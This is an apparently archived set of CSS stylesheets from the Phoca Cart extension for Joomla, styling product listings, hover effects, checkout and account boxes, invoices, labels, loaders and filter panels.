    border-radius: 5px;
}
 
.graph-info .amount { border-bottom: 2px solid #71c73e; }
.graph-info .orders { border-bottom: 2px solid #77b7c5; }
 
.graph-info .amount:before { background: #71c73e; }
.graph-info .orders:before { background: #77b7c5; }

/* Lines & Bars Buttons */
#lines, #bars {
    width: 34px;
    height: 32px;
    padding: 0;
    margin-right: 0;
    margin-left: 10px;
    border-bottom: 2px solid #71c73e;
    float: right;
    cursor: pointer;
}
 
#lines.active, #bars.active {
    background: #82d344;
    background: -moz-linear-gradient(top, #82d344 0%, #71c73e 100%);
    background: -webkit-gradient(linear, left top, left bottom,
color-stop(0%,#82d344), color-stop(100%,#71c73e));
    background: -webkit-linear-gradient(top, #82d344 0%,#71c73e 100%);
    background: -o-linear-gradient(top, #82d344 0%,#71c73e 100%);
    background: -ms-linear-gradient(top, #82d344 0%,#71c73e 100%);
    background: linear-gradient(to bottom, #82d344 0%,#71c73e 100%);
}
 
#lines span, #bars span {
    display: block;
    width: 34px;
    height: 32px;
    /*background: url('../img/lines.png') no-repeat 9px 12px;*/
}
/*
#bars span { background: url('../img/bars.png') no-repeat center
10px; }
 
#lines.active span { background-image:
url('../img/lines_active.png'); }
 
#bars.active span { background-image:
url('../img/bars_active.png'); }
*/

#lines span,
#bars span { font-size: 18px;padding-top: 9px;padding-left: 7px; color:
#999;}
#lines.active span,
#bars.active span { color: #fff;}
#lines:hover, #lines:focus,
#bars:hover, #bars:focus,
a.orders:hover, a.orders:focus,
a.amount:hover, a.amount:focus,
a.orders, a.amount {
	text-decoration: none;
	color: #555;
}


/* Clear Floats */
.graph-info:before, .graph-info:after,
.graph-container:before, .graph-container:after {
    content: '';
    display: block;
    clear: both;
}

#tooltip, .graph-info a {
    font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;
    font-weight: bold;
    font-size: 12px;
    line-height: 20px;
    color: #646464;
}
 
.tickLabel {
    font-weight: bold;
    font-size: 12px;
    color: #777;
}
.legendLabel {
	color: #999;
}
#tooltip {
    position: absolute;
    display: none;
    padding: 5px 10px;
    border: 1px solid #e1e1e1;
}

div.xAxis div.tickLabel 
{    
    transform: rotate(-45deg);
    -ms-transform:rotate(-45deg); /* IE 9 */
    -moz-transform:rotate(-45deg); /* Firefox */
    -webkit-transform:rotate(-45deg); /* Safari and Chrome */
    -o-transform:rotate(-45deg); /* Opera */
    /*rotation-point:50% 50%;*/ /* CSS3 */
    /*rotation:270deg;*/ /* CSS3 */
	margin-top: 20px;
	margin-left: -35px;
	font-weight: normal;
	font-size: 10px;
}main-product-hover.css000064400000004770151170511360011011 0ustar00/*
body.preload *{
animation-duration: 0s !important;
-webkit-animation-duration: 0s !important;
transition:background-color 0s, opacity 0s, color 0s, width 0s, height 0s,
padding 0s, margin 0s !important;
}
*/

body.preload *{
	transition: padding 0s, margin 0s !important;
}

.ph-item-box.grid {	
	/*display: inline-block;*/
	position: relative;
	margin-bottom: 30px;
	clear: both;
	
}
.ph-item-box.gridlist,
.ph-item-box.list {
	margin-bottom: 10px;
}


.ph-item-box:hover{
	z-index: 999;
}

/* substitution for thumbnail */


/* Chrome problem with box sizing */
@media screen and (-webkit-min-device-pixel-ratio:0) and
(min-resolution:.001dpcm) {
	.row-flex.grid .row-item {
		flex-direction: inherit;
		margin-bottom: 30px;
	}
}


.ph-item-box .ph-item{
	transition: all 0.3s;
	background-color: #fff;
    border: 1px solid #ddd;
	border-radius: 4px;
    display: inline-block;
    line-height: 1.42857;
	
	-webkit-box-sizing:content-box;
	-moz-box-sizing:content-box;
	box-sizing:content-box;
	
	padding: 0px;
	
	
}

.ph-item-box.grid:hover .ph-item {
	box-shadow: 0px 0px 5px rgba(1, 1, 1, 0.3);
	
	padding: 0px;
	padding-bottom: 25px;
	margin-bottom: -25px;
	
	display: inline-block;
	z-index: 0;
	clear:both;
	-webkit-box-sizing:content-box;
	-moz-box-sizing:content-box;
	box-sizing:content-box;
	

}

.ph-item-box .ph-item-content {
	padding: 10px;
}


.ph-item-box .ph-item-action-box .ph-item-action-fade{
	clear: both;
	padding-top: 10px;
	padding-bottom: 15px;
	left: 0px;
	right: 0px;
	visibility: hidden; 
	opacity: 0;
	position: absolute;
	bottom: 0;
	transition: all 0.3s;
	
	-webkit-box-sizing:content-box;
	-moz-box-sizing:content-box;
	box-sizing:content-box
}

.ph-item-box:hover .ph-item-action-box .ph-item-action-fade {
	visibility: visible;
	opacity: 1;
	bottom: -47px;
}

.ph-item-box .ph-item-action-box{
	padding-bottom: 7px;
	position: relative;
	
}

.ph-item-box .ph-item-action-fade a{
	/*display: block;*/
	/*max-width: 50%;*/
	/*overflow: hidden;*/
	white-space: nowrap;
	transform: scale(0);
	opacity: 0;
	visibility: hidden;
	
	background: #f7f7f7;
	text-align: center;
	border-radius: 50%;
	margin:auto;
	display: inline-block;
    width: 36px;
	height: 36px;
    line-height: 36px;
    position: relative;
    vertical-align: middle;
	font-size: 18px;
	padding: 0px;

}
.ph-item-box:hover .ph-item-action-fade a{
	transform: scale(1);
	opacity: 1;
	visibility: visible;
}

.ph-item-box .ph-item-action-fade a span.glyphicon,
.ph-item-box .ph-item-action-fade a span.fa {
	margin-left: -1px;
	margin-top: 7px;
}

main-product-image-move.css000064400000001235151170511360011705 0ustar00/*
Switch images category or items view */
.phIBoxOH {
    position: relative;
}

.phIBoxOH .phIBox {
    border-radius: 0;
    display: inline-block;
	/*display:block;*/
	
    overflow: hidden;
    position: relative;
    text-align: center;
}

.phIBoxOH .phIL,
.phIBoxOH .phIR {
    display: inline-block;
    transition: opacity 0.7s ease 0s, transform 0.7s ease 0s;
}

.phIBoxOH:hover .phIL,
.phIBoxOH:hover .phIR {
    transform: translate(100%, 0px);
}

.phIBoxOH .phIBox .phIRBox {
    left: 0;
    padding: 0;
    position: absolute;
    top: 0;
    /*transform: translate(-100%, 0px);*/
	left: -100%;
    transition: all 0.5s ease-in-out 0s;
    width: 100%;
}main.css000064400000131236151170511360006210 0ustar00/* @package Joomla
 * @copyright Copyright (C) Open Source Matters. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * @extension Phoca Cart
 * @copyright Copyright (C) Jan Pavelka www.phoca.cz -
https://www.phoca.cz/phocacart
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 */
.ph-top {
	margin-bottom: 5px;
}
.ph-desc,
.ph-items,
.ph-categories,
.ph-subcategories {
	margin-top: 10px;
}
.ph-desc {
	margin-bottom: 20px;
}

.pc-item-view .ph-desc {
	margin-top: 15px;
	margin-bottom: 15px;
}

.ph-cat-desc,
.ph-item-desc {

}

.pc-checkout-view,
.pc-account-view,
.pc-category-view,
.pc-categories-view,
.pc-item-view {
	margin: 10px 0px;

}
.ph-center,
.ph-image,
.ph-image-full {
	text-align: center;
	margin: 0 auto;
}

.ph-image-navigation-box {
	margin-top: 10px;
}

.ph-image-navigation {
	width: 7em;
}


.ph-small {
	font-size: x-small;
}


.ph-u {
	text-decoration: underline;
}
.ph-cb {
	clear: both;
}
.ph-right {
	text-align: right;
}
.ph-left{
	text-align: left;
}
.ph-hr {
	border-bottom: 1px solid #ddd;
}

.ph-msg-error{
	color: #a94442;
}

.ph-checkout-cart-box .ph-hr {
	border-color: #ddd;
}


/* Previous Bootstrap Thumbnail */

.b-thumbnail > img,
.b-thumbnail a > img {
  display: block;
  max-width: 100%;
  height: auto;
}

.b-thumbnail {
  display: block;
  padding: 4px;
  line-height: 1.42857143;
  background-color: #fff;
  border: 1px solid #ddd;
  border-radius: 4px;
  -webkit-transition: border .2s ease-in-out;
       -o-transition: border .2s ease-in-out;
          transition: border .2s ease-in-out;
}

.b-thumbnail > img,
.b-thumbnail a > img {
  margin-right: auto;
  margin-left: auto;
}
a.b-thumbnail:hover,
a.b-thumbnail:focus,
a.b-thumbnail.active {
  border-color: #337ab7;
}
.b-thumbnail .caption {
  padding: 9px;
  color: #333;
}



/*.ph-item-reward-box,*/
.ph-category-bottom-box,
.ph-category-action-buttons,
.ph-item-bottom-box,
.ph-item-add-to-cart-box,
.ph-item-min-qty-box,
.ph-item-stock-box,
.ph-item-tag-box,
.ph-item-size-box {
	margin-top: 20px;
}

.pc-category-view .ph-item-min-qty-box {
	margin-top: 0px;
}

.ph-item-buy-now-box {
	/* margin-top: -1px; */
}

.pc-item-view .ph-item-buy-now-box {
	margin-top: 20px;
}

.ph-item-tag-box span a {
	color: #fff;
	text-decoration:none;
}

.ph-item-reward-box .ph-reward,
.ph-category-price-box .ph-price-brutto,
.ph-category-price-box .ph-price-netto,
.ph-category-price-box .ph-price-original,
.ph-category-price-box .ph-price-base,
.ph-category-price-box .ph-tax,

.ph-item-sku-box .ph-sku,
.ph-item-upc-box .ph-upc,
.ph-item-ean-box .ph-ean,
.ph-item-jan-box .ph-jan,
.ph-item-isbn-box .ph-isbn,
.ph-item-mpn-box .ph-mpn,
.ph-item-serial-number-box .ph-serial-number,

.ph-item-min-qty-box .ph-min-qty,
.ph-item-manufacturer-box .ph-manufacturer,
.ph-item-delivery-date-box .ph-delivery-date,
.ph-item-price-box .ph-price-brutto,
.ph-item-price-box .ph-price-netto,
.ph-item-price-box .ph-price-original,
.ph-item-price-box .ph-price-base,
.ph-item-price-box .ph-tax,
.ph-item-stock-box .ph-stock,
.ph-category-stock-box .ph-stock,

.ph-item-size-box .ph-item-length,
.ph-item-size-box .ph-item-width,
.ph-item-size-box .ph-item-height,
.ph-item-size-box .ph-item-weight,
.ph-item-size-box .ph-item-volume

{
	float: right;
}

.ph-top-space {
	margin-top: 20px;
}

.ph-item-reward-box .ph-reward-txt,

.ph-category-price-box .ph-price-txt,
.ph-category-price-box .ph-tax-txt,
.ph-category-stock-box .ph-stock-txt,

.ph-item-sku-box .ph-sku-txt,
.ph-item-upc-box .ph-upc-txt,
.ph-item-ean-box .ph-ean-txt,
.ph-item-jan-box .ph-jan-txt,
.ph-item-isbn-box .ph-isbn-txt,
.ph-item-mpn-box .ph-mpn-txt,
.ph-item-serial-number-box .ph-serial-number-txt,

.ph-item-min-qty-box .ph-min-qty-txt,
.ph-item-manufacturer-box .ph-manufacturer-txt,
.ph-item-delivery-date-box .ph-delivery-date-txt,
.ph-item-price-box .ph-price-txt,
.ph-item-price-box .ph-tax-txt,
.ph-item-stock-box .ph-stock-txt,

.ph-item-size-box .ph-item-length-txt,
.ph-item-size-box .ph-item-width-txt,
.ph-item-size-box .ph-item-height-txt,
.ph-item-size-box .ph-item-weight-txt,
.ph-item-size-box .ph-item-volume-txt
{
	float: left;
	clear: both;
}

.ph-item-box.list .ph-item {
	width: 100%;
}

.ph-item-box.list .ph-category-price-box,
.ph-item-box.gridlist .ph-category-price-box {
	padding-bottom: 10px;
}

.ph-category-price-box .ph-price-original,
.ph-item-price-box .ph-price-original {
	color: #cc0000;
	font-weight: bold;
	text-decoration: line-through;
}
.ph-checkout-cart-brutto,
.ph-cart-total,
.ph-category-price-box .ph-price-brutto,
.ph-item-price-box .ph-price-brutto {
	font-weight: bold;
}
.form-inline .form-group .ph-input-quantity {
	width:2em;
}
.form-inline .form-group .ph-input-quantity.ph-input-sm {
	width:56px;
	height: 22px;
	font-size: 12px;
	line-height: 22px;
}

.ph-item-input-select-attributes {
	width: 60% !important;
}

.ph-cart-small-quantity {
	/*width: 2%;*/
}


.ph-item-image-full-box {
	text-align: center;
	margin: 0 auto;
}


.ph-item-image-add-box {
	text-align: center;
	margin-top: 10px;
}
.ph-item-thumbnail-related {
	text-align: center;
	margin: auto;
}


.ph-tab-pane {
	padding: 15px;
	margin-top: -1px;
	border-bottom: 1px solid #ddd;
	border-left: 1px solid #ddd;
	border-right: 1px solid #ddd;
}

.ph-spec-title {
	font-weight: bold;
}

.ph-review-value input,
.ph-review-value textarea {

}
.ph-rating-box {
	margin-bottom: 10px;
}

.ph-reviews-review {
	font-style:italic;
	color: #555;
	padding-top: 10px;
}

/* Stars */
span.ph-stars, span.ph-stars span {
    display: block;
	/*background: url(../images/star-small.png) 0 -16px repeat-x;*/
	background: url(../images/star-small.svg) 0 -16px repeat-x;
    width: 80px;
    height: 16px;
}

span.ph-stars span {
    background-position: 0 0;
}


/* Bootstrap adds */
/* Base styles (regardless of theme) */
.bs-callout {
margin: 20px 0;
padding: 15px 30px 15px 15px;
border-left: 5px solid #eee;
}
.bs-callout h4 {
margin-top: 0;
}
.bs-callout p:last-child {
margin-bottom: 0;
}
.bs-callout code,
.bs-callout .highlight {
background-color: #fff;
}

/* Themes for different contexts */
.bs-callout-danger {
background-color: #fcf2f2;
border-color: #dFb5b4;
}
.bs-callout-warning {
background-color: #fefbed;
border-color: #f1e7bc;
}
.bs-callout-info {
background-color: #f0f7fd;
border-color: #d0e3f0;
}

.bs-callout-danger h4 {
color: #B94A48;
}

.bs-callout-warning h4 {
color: #C09853;
}

.bs-callout-info h4 {
color: #3A87AD;
}

.ph-checkout-cart-box {
	width: 100%;
}




.ph-checkout-cart-image,
.ph-checkout-cart-quantity {
	text-align: center;
}
.ph-checkout-cart-product {
	text-align: left;
}

.ph-checkout-total-discount,
.ph-checkout-total-coupon,
.ph-checkout-total-amount,
.ph-checkout-cart-netto,
.ph-checkout-cart-brutto,
.ph-checkout-cart-tax {
	text-align: right;
	/*margin-right: 10px;
	padding-right: 10px;*/
}

.ph-checkout-cart-box tr td ul {
	margin-left: -20px;
	margin-top: -15px;
}
.ph-checkout-cart-box tr td ul li,
.ph-cart-small-box tr td ul li {
	color: #999;
	padding: 0 auto;
	margin: 0 auto;
	line-height: 1;
}
.ph-checkout-cart-box tr td ul li span.ph-cart-small-attribute{
	line-height: 2;
}

.ph-checkout-cart-image img {
	width: 80%;
	height: auto;
}

table tr th.ph-checkout-cart-image {
	width: 10%;
}

.ph-input-select-currencies {

}
.ph-input-select-currencies-button {
	margin-top: 10px;
}

/* Account, Checkout */
.ph-account-box-action,
.ph-checkout-box-action {
	padding: 5px;
	border-left: 1px solid #ddd;
	border-right: 1px solid #ddd;
	border-bottom: 1px solid #ddd;
	border-radius: 0px 0px 4px 4px;
	/*margin: 20px 0px 0px 0px;*/
	margin-top: 0px;
	margin-bottom: 0px;
	background: #f9f9f9;
}
.ph-account-box-action-raw,
.ph-checkout-box-action-raw {
	padding: 5px;

	margin: 0px 25px 20px auto;

}
.ph-account-box-row,
.ph-checkout-box-row {
	padding-left: 0px !important;
	padding-right: 0px !important;
}

.ph-account-box-header,
.ph-checkout-box-header {
	border: 1px solid #ddd;
	border-radius: 4px 4px 0px 0px;
	/*margin: 20px 0px 0px 0px;*/
	margin-top: 20px;
	background: #fff;

}

.ph-account-box-header{
	/*margin: -5px 0px 0px 0px;*/
	margin-top: -5px;
}
.ph-checkout-box-header {
	/*margin: 20px 0px 0px 0px;*/
	margin-top: 20px;
}

.ph-account-box-header-pas,
.ph-checkout-box-header-pas {
	border: 1px solid #ddd;
	border-radius: 4px 4px 4px 4px;
	/*margin: 20px 0px 0px 0px;*/
	margin-top: 20px;
	background: #fff;

}
.ph-account-box-header-pas h3,
.ph-account-box-header h3,
.ph-checkout-box-header-pas h3,
.ph-checkout-box-header h3 {
	margin: 0px;
	padding: 10px;
	font-size: 120%;
}

.ph-account-box-action .ph-box-header,
.ph-checkout-box-action .ph-box-header {

  font-weight: bold;
  color: #bbb;
  text-transform: uppercase;
  letter-spacing: 1px;
  margin-bottom: 15px;
  margin-top: 0px;

}

.ph-account-btn-login,
.ph-checkout-btn-login {
	margin-top: -7px;
	margin-bottom: 7px !important;
}

.ph-li-inline li {
	float: left;

	margin-left: 30px;
}

.ph-left-border {
	border-left: 1px solid #ddd;
	margin-left: -1px;
}
.ph-right-border {
	border-right: 1px solid #ddd;
}

.ph-checkout-icon-finished,
.ph-checkout-icon-ok {
	font-size: 130%;
	color: #47a447;
	margin-right: 3px;
	margin-top: 3px;
}

.ph-checkout-icon-pending,
.ph-checkout-icon-not-ok {
	font-size: 130%;
	color: #d2322d;
	margin-right: 3px;
	margin-top: 3px;
}

.ph-checkout-icon-spec-finished {
	display: inline-block;
	padding: 5px;
	background: #5CB85C;
	color: #fff;
	margin: 2px;
	font-size: 120%;
	font-weight: bold;
	width: 30px;
	text-align: center;
	margin-right: -13px;
	/*
	font-size: 220%;
	width: 70px;
	overflow: visible;
	position: absolute;
	right: 2px;
	top: 22px;*/
	/* border-radius: 0px 3px 0px 3px; */
}

.ph-checkout-icon-spec-pending {
	display: inline-block;
	padding: 5px;
	background: #ccc;
	color: #fff;
	margin: 2px;
	font-size: 120%;
	font-weight: bold;
	width: 30px;
	text-align: center;
	margin-right: -13px;
	/* border-radius: 0px 3px 0px 0px; */
}


.ph-checkout-address-edit,
.ph-checkout-check-box,
.ph-checkout-address-save {
	margin: 10px
}
.ph-checkout-payment-edit,
.ph-checkout-shipping-edit {
	margin: 10px;
}

.ph-checkout-payment-save,
.ph-checkout-shipping-save {
	margin: 10px;
}

.ph-checkout-payment-netto,
.ph-checkout-payment-brutto,
.ph-checkout-payment-tax ,
.ph-checkout-shipping-netto,
.ph-checkout-shipping-brutto,
.ph-checkout-shipping-tax {
	text-align: right;
}

.ph-checkout-payment-brutto,
.ph-checkout-shipping-brutto {
	font-weight: bold;
}

.ph-checkout-checkbox-confirm {
	padding-right: 20px;
}

.ph-download-header-box-row,
.ph-orders-header-box-row {
	font-weight: bold;
	border-bottom: 2px solid #ddd;
	padding-top: 5px;
	padding-bottom: 5px;
}
.ph-download-item-box-row-line {
	border-bottom: 1px solid #ddd;
	padding-top: 0px;

}
.ph-orders-item-box-row {
	border-bottom: 1px solid #ddd;
	padding-top: 7px;
	padding-bottom: 7px;
}

.ph-download-item-box-row div {
	margin-top: 7px;
	margin-bottom: 7px;

}

.ph-terms-box-in {
	font-family: sans-serif, arial;
	font-size: 90%;
	padding: 20px;
}

.ph-checkout-payment-desc,
.ph-checkout-shipping-desc {
	font-size: small;
	font-style: italic;
}

/* IDnR */
.ph-idnr-box table,
.ph-idnr-box table tr,
.ph-idnr-box table tr td {
	border: 0;
}

.ph-idnr-box {
	margin: 5%;
	margin-top: 0;
}
.ph-idnr-box-in {
	width: 100%;
	/*font-family: sans-serif, arial;*/
	font-size: 90%;
}
table.ph-idnr-box-in tr td {
	vertical-align: top;
}
.ph-idnr-header-img {
	margin: 5px auto;
}

.ph-idnr-box table tr td.ph-idnr-billing-box,
.ph-idnr-box table tr td.ph-idnr-shipping-box,
.ph-idnr-billing-box,
.ph-idnr-shipping-box {
	border: 1px solid #ddd;
	padding: 10px;
}
.pho1, .pho2, .pho3, .pho4,
.pho5, .pho6, .pho7, .pho8,
.pho9, .pho10, .pho11, .pho12 {
	width: 8.3333%;
}
.ph-idnr-sep { width: 3%;}

.ph-idnr-header-product {
	font-weight: bold;
	background: #ddd;
}
.ph-idnr-header-product td {
	padding: 5px;
	white-space:nowrap;
}
.ph-idnr-body-product td {
	white-space:nowrap;
	padding: 5px;
}
.ph-idnr-box table tr td.ph-idnr-sep-horizontal,
.ph-idnr-sep-horizontal {
	border-top: 1px solid #ddd;
}
.ph-idnr-total td {
	padding: 2px 5px;
}
.ph-idnr-ul {
	margin-top: -5px;
}
.ph-idnr-li {
	line-height: 1;
}
.ph-idnr-to-pay-box td {
	padding: 2px 5px;
}
.ph-idnr-to-pay {
	background: #eee;
	padding: 20px;
}
.ph-idnr-to-pay-value {
	background: #eee;
	padding: 20px;
	text-align: right;
}

table.ph-idnr-tax-rec {
	margin-top: 10px;
	min-width: 40%;
}
table.ph-idnr-tax-rec,
table.ph-idnr-tax-rec tr,
table.ph-idnr-tax-rec tr td,
table.ph-idnr-tax-rec tr th {
	border: 1px solid #ddd;
	border-collapse: collapse;
	padding: 3px;
}

.ph-category-item-addtocart {
	float: right;
	margin: 2px;
}

.ph-category-item-compare {
	float: right;
	margin: 2px;
}

.ph-category-item-wishlist {
	float: right;
	margin: 2px;
}

.ph-category-item-quickview {
	float: right;
	margin: 2px;
}
/*
.ph-category-item-addtocart .glyphicon-shopping-cart,
.ph-category-item-addtocart .fa-shopping-bag {
	 color: #333333;
}

.ph-category-item-compare .glyphicon-stats,
.ph-category-item-compare .fa-clone {
    color: #4491e4;
}

.ph-category-item-quickview .glyphicon-heart-empty,
.ph-category-item-wishlist .glyphicon-heart,
.ph-category-item-wishlist .fa-heart {
	color: #EA7C7C;
}

.ph-category-item-quickview .glyphicon-eye-open,
.ph-category-item-quickview .fa-eye {
	color: #555555;
}
*/
.ph-comparison-table .img-responsive{
	width: auto;
	margin: 0 auto;
	text-align: center;
	/*width:100%;*/
}

.ph-comparison-table,
.ph-comparison-table tr,
.ph-comparison-table tr td {
	border: 1px solid #ddd;

}

.ph-comparison-table tr td {
	width: 25%;
	padding: 5px;
}

.ph-center {
	text-align: center;
}
.ph-center-pagination {
	text-align: center;
	margin: 0 auto;
	padding: 0 auto;
}

.ph-center-pagination input,
.ph-center-pagination select,
.ph-center-pagination .chosen-container {
	text-align:left;
}
.ph-pagination-mt {
	margin-top: -20px;
}
.ph-pagination-top {
	margin-top: 10px;
	margin-bottom: 20px;
}
.ph-pagination-top #limittop.inputbox,
.ph-pagination #limittop.inputbox,
.ph-pagination-top #limit.inputbox,
.ph-pagination #limit.inputbox {
	width: 5em;
}
table.ph-comparison-table tr td {
	vertical-align: top;
}
table.ph-comparison-table tr td.ph-middle {
	vertical-align: middle;
}

.ph-red {
	color: #d60000;
}
.ph-b {
	font-weight:bold;
}

.ph-new-icon {
	position:absolute;
	top: 5px;
	right: 25px;
}
.ph-hot-icon {
	position:absolute;
	top: 5px;
	right: 45px;
}
.ph-featured-icon {
	position:absolute;
	top: 5px;
	right: 65px;
}
.ph-alert-small {
	margin: 0px !important;
	padding:5px !important;
	margin-top: -5px !important;
	margin-bottom: 3px !important;
	font-size: x-small;
}

.ph-item-navigation-box {
	margin: 10px 0px 10px 0px;
}


/* CSS Loading */
.ph-loader {
  margin: 3em auto;
  font-size: 8px;
  position: relative;
  text-indent: -9999em;
  border-top: 1.1em solid #C1E2F1;
  border-right: 1.1em solid #C1E2F1;
  border-bottom: 1.1em solid #C1E2F1;
  border-left: 1.1em solid #45A7D4;
  -webkit-animation: load8 1.3s infinite linear;
  animation: load8 1.3s infinite linear;
}
.ph-loader,
.ph-loader:after {
  border-radius: 50%;
  width: 10em;
  height: 10em;
}

/* Full site overlay plus loader - used when filtering */
#phLoaderFull {
  margin: auto auto;
  top: 50%;
  font-size: 8px;
  position: relative;
  text-indent: -9999em;
  border-top: 1.1em solid #C1E2F1;
  border-right: 1.1em solid #C1E2F1;
  border-bottom: 1.1em solid #C1E2F1;
  border-left: 1.1em solid #45A7D4;
  -webkit-animation: load8 1.3s infinite linear;
  animation: load8 1.3s infinite linear;
}
#phLoaderFull,
#phLoaderFull:after {
  border-radius: 50%;
  width: 10em;
  height: 10em;
  margin-top: -10em;

}
@-webkit-keyframes load8 {
  0% {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg);
  }
  100% {
    -webkit-transform: rotate(360deg);
    transform: rotate(360deg);
  }
}
@keyframes load8 {
  0% {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg);
  }
  100% {
    -webkit-transform: rotate(360deg);
    transform: rotate(360deg);
  }
}

#phOverlay {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background-color: #fff;
    filter:alpha(opacity=70);
    -moz-opacity:0.7;
    -khtml-opacity: 0.7;
    opacity: 0.7;
    z-index: 10000;
	display:none;
}

#phItemsBox {
	position: relative;
}

#phOverlayDiv {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background-color: #fff;
    filter:alpha(opacity=70);
    -moz-opacity:0.7;
    -khtml-opacity: 0.7;
    opacity: 0.7;
    z-index: 10000;
	display:none;
}





/* Icons Hot, New, Featured */
/*
.ph-corner-icon-wrapper {
	overflow: hidden;
    position: absolute;
	top: -3px;
	right: -3px;
}

.ph-item-image-full-box .ph-corner-icon-wrapper {
	right: 12px;
}

.ph-corner-icon1-wrapper { width: 85px; height: 88px;}
.ph-corner-icon2-wrapper { width: 145px; height: 148px;}
.ph-corner-icon3-wrapper { width: 205px; height: 208px;}


.ph-corner-icon {
	font-weight: bold;
	text-transform: uppercase;
	color: #fff;
	text-align: center;
	text-shadow: rgba(0,0,0,0.3) 2px 2px 1px;
	-webkit-transform: rotate(45deg);
	-moz-transform:    rotate(45deg);
	-ms-transform:     rotate(45deg);
	-o-transform:      rotate(45deg);
	position: relative;
	padding: 7px 0;
	-webkit-box-shadow: 0px 0px 3px rgba(0,0,0,0.3);
	-moz-box-shadow:    0px 0px 3px rgba(0,0,0,0.3);
	box-shadow:         0px 0px 3px rgba(0,0,0,0.3);
	z-index: 1000;
}

.ph-corner-icon-hot {
	background-color: #d9534f;
	background-image: -webkit-gradient(linear, left top, left bottom,
from(#d9534f), to(#c9302c));
	background-image: -webkit-linear-gradient(top, #d9534f, #c9302c);
	background-image:    -moz-linear-gradient(top, #d9534f, #c9302c);
	background-image:     -ms-linear-gradient(top, #d9534f, #c9302c);
	background-image:      -o-linear-gradient(top, #d9534f, #c9302c);
}

.ph-corner-icon-featured {
	background-color: #f0ad4e;
	background-image: -webkit-gradient(linear, left top, left bottom,
from(#f0ad4e), to(#ec971f));
	background-image: -webkit-linear-gradient(top, #f0ad4e, #ec971f);
	background-image:    -moz-linear-gradient(top, #f0ad4e, #ec971f);
	background-image:     -ms-linear-gradient(top, #f0ad4e, #ec971f);
	background-image:      -o-linear-gradient(top, #f0ad4e, #ec971f);
}

.ph-corner-icon-new {
	background-color: #337ab7;
	background-image: -webkit-gradient(linear, left top, left bottom,
from(#337ab7), to(#286090));
	background-image: -webkit-linear-gradient(top, #337ab7, #286090);
	background-image:    -moz-linear-gradient(top, #337ab7, #286090);
	background-image:     -ms-linear-gradient(top, #337ab7, #286090);
	background-image:      -o-linear-gradient(top, #337ab7, #286090);
}

.ph-corner-icon1 {left: -5px;top: 13px;width: 121px; }
.ph-corner-icon2 {left: -15px; top: 42px; width: 203px;}
.ph-corner-icon3 {left: -25px; top: 71px; width: 285px;}

.ph-corner-icon:before, .ph-corner-icon:after {
  content: "";
  border-top:   3px solid #555;
  border-left:  3px solid transparent;
  border-right: 3px solid transparent;
  position:absolute;
  bottom: -3px;
}

.ph-corner-icon:before {
  left: 0;
}
.ph-corner-icon:after {
  right: 0;
}


/* Alternative - Icons Hot, New, Featured - circle */
/*
.ph-corner-icon-wrapper {
	overflow: hidden;
    position: absolute;
	top: 0px;
	left: 0px;
}

.ph-corner-icon1-wrapper { width: 85px; height: 88px;}
.ph-corner-icon2-wrapper { width: 145px; height: 148px;}
.ph-corner-icon3-wrapper { width: 205px; height: 208px;}

.ph-corner-icon {
	font-weight: bold;
	text-transform: uppercase;
	color: #fff;
	text-align: center;
	position: absolute;
	padding: 13px 7px;
	-webkit-transform: rotate(-20deg);
	-moz-transform:    rotate(-20deg);
	-ms-transform:     rotate(-20deg);
	-o-transform:      rotate(-20deg);
	border-radius: 50%;
	box-shadow: none;
	border: none;
	text-shadow: none;
	z-index: 1000;
}

.ph-corner-icon-featured {
	background-color: #FFCC00;
	background-image: none;
}

.ph-corner-icon1 {left: 25px;top: 5px;width: auto; }
.ph-corner-icon2 {left: 0px; top:0 px; width: auto;}
.ph-corner-icon3 {left: 0px; top: 0px; width: auto;}

.ph-corner-icon:before, .ph-corner-icon:after {
  content: "";
  border: 0px;
  position:absolute;
  bottom: 0px;
}
/* End alternative Icons Hot, New, Featured - circle */


/* SINCE 3.1.2 - LABELS including HOT, NEW, FEATURED */

.ph-label-box {
	overflow: hidden;
    position: absolute;
	top: 0.3em;
	right: 0.2em;
	width: 100%;
}

.ph-manufacturer-box,
.ph-tag-box {
	font-size: 75%;
	margin: 3px 0;
}
.ph-manufacturer-box .ph-manufacturer-box-header,
.ph-tag-box .ph-tag-box-header {
	font-weight: bold;
}

.ph-item-box.list .ph-label-box {
	top: auto;
	right: auto;
	bottom: 1em;
	left: 0.3em;
}

#phQuickViewPopup .ph-label-box,
#ph-pc-item-box .ph-label-box {
	right: 1.2em;
}

.ph-corner-icon-wrapper {
	float: right;
	position:relative;
	z-index: 1;
}

.ph-item-box.list .ph-corner-icon-wrapper {
	float: left;
}

.ph-corner-icon {
	font-weight: bold;
	text-transform: uppercase;
	color: #fff;
	text-align: center;
	padding: 0.1em 0.5em;
	margin: 0.1em 0.1em;
}

.ph-corner-icon {
	background-color: #d0d0d0;
}
.ph-corner-icon-hot {
	background-color: #d9534f;
}

.ph-corner-icon-featured {
	background-color: #f0ad4e;
}

.ph-corner-icon-new {
	background-color: #337ab7;
}


/* END LABELS */

/* Filter */
.ph-filter-box {
	margin-bottom: 20px;
	margin-top: 20px;
}

.ph-filter-box .panel {
	margin-bottom: -2px;
	margin-top: -2px;

	-webkit-border-top-left-radius: 0px;
	-webkit-border-top-right-radius: 0px;
	-moz-border-radius-topleft: 0px;
	-moz-border-radius-topright: 0px;
	border-top-left-radius: 0px;
	border-top-right-radius: 0px;

}

.ph-filter-box .panel:first-child {
	border-radius: 0;
	-webkit-border-top-left-radius: 3px;
	-webkit-border-top-right-radius: 3px;
	-moz-border-radius-topleft: 3px;
	-moz-border-radius-topright: 3px;
	border-top-left-radius: 3px;
	border-top-right-radius: 3px;
}

.ph-filter-box .panel:last-child {
	border-radius: 0;
	-webkit-border-bottom-left-radius: 3px;
	-webkit-border-bottom-right-radius: 3px;
	-moz-border-radius-bottomleft: 3px;
	-moz-border-radius-bottomright: 3px;
	border-bottom-left-radius: 3px;
	border-bottom-right-radius: 3px;
}

.ph-filter-box .panel-body {
	padding-top: 0px;
	padding-bottom: 0px;
}

.ph-filter-box .panel-body.form-horizontal {
	padding-top: 5px;
	padding-bottom: 5px;
}

